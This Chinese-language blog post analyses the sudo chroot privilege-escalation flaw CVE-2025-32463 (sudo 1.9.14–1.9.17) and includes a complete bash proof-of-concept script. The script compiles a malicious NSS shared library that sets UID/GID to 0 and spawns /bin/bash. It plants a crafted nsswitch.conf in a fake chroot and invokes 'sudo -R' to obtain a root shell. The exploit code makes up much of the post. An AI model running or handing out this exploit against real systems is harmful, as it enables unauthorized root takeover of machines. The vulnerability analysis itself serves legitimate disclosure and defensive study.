Sudo chroot权限提升漏洞分析与利用

本文详细分析了Sudo 1.9.14至1.9.17版本中的chroot权限提升漏洞(CVE-2025-32463),攻击者可通过创建恶意nsswitch.conf文件加载任意共享库,从而以root权限执行任意命令。文章包含完整的PoC利用代码。

Sudo chroot 1.9.17本地权限提升

风险等级: 中等
本地利用:
远程利用:
CVE编号: CVE-2025-32463
CWE编号: CWE-264

漏洞概述

攻击者可以利用sudo的-R(–chroot)选项以root权限运行任意命令,即使这些命令未在sudoers文件中列出。

受影响版本:

  • Sudo 1.9.14至1.9.17(包含)

技术细节

Sudo的-R(–chroot)选项旨在允许用户在sudoers文件允许的情况下,使用用户选择的根目录运行命令。在sudo 1.9.14中进行的更改导致在评估sudoers文件时,通过chroot()使用用户指定的根目录解析路径。攻击者可以通过在用户指定的根目录下创建/etc/nsswitch.conf文件,诱使sudo加载任意共享库。

该漏洞已在sudo 1.9.17p1中修复,chroot功能已被标记为弃用,并将在未来的sudo版本中完全移除。

影响

在支持/etc/nsswitch.conf的系统上,用户可能能够以root权限运行任意命令。

漏洞利用

验证sudo版本

1
sudo --version

PoC利用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash
# sudo-chwoot.sh – PoC CVE-2025-32463
set -e

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"

# 1. NSS库
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void woot(void) {
    setreuid(0,0);          /* 更改为UID 0 */
    setregid(0,0);          /* 更改为GID 0 */
    chdir("/");             /* 退出chroot */
    execl("/bin/bash","/bin/bash",NULL); /* root shell */
}
EOF

# 2. 包含恶意nsswitch.conf的迷你chroot
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc            # 使getgrnam()不会失败

# 3. 编译libnss_
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "[*] 运行漏洞利用…"
sudo -R woot woot                 # (-R <目录> <命令>)
                                   # • 第一个"woot"是chroot目录
                                   # • 第二个"woot"是不存在的命令
                                   #   (只需要解析用户)

rm -rf "$STAGE"

参考链接

详细漏洞描述和影响分析请参考Stratascale安全公告: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计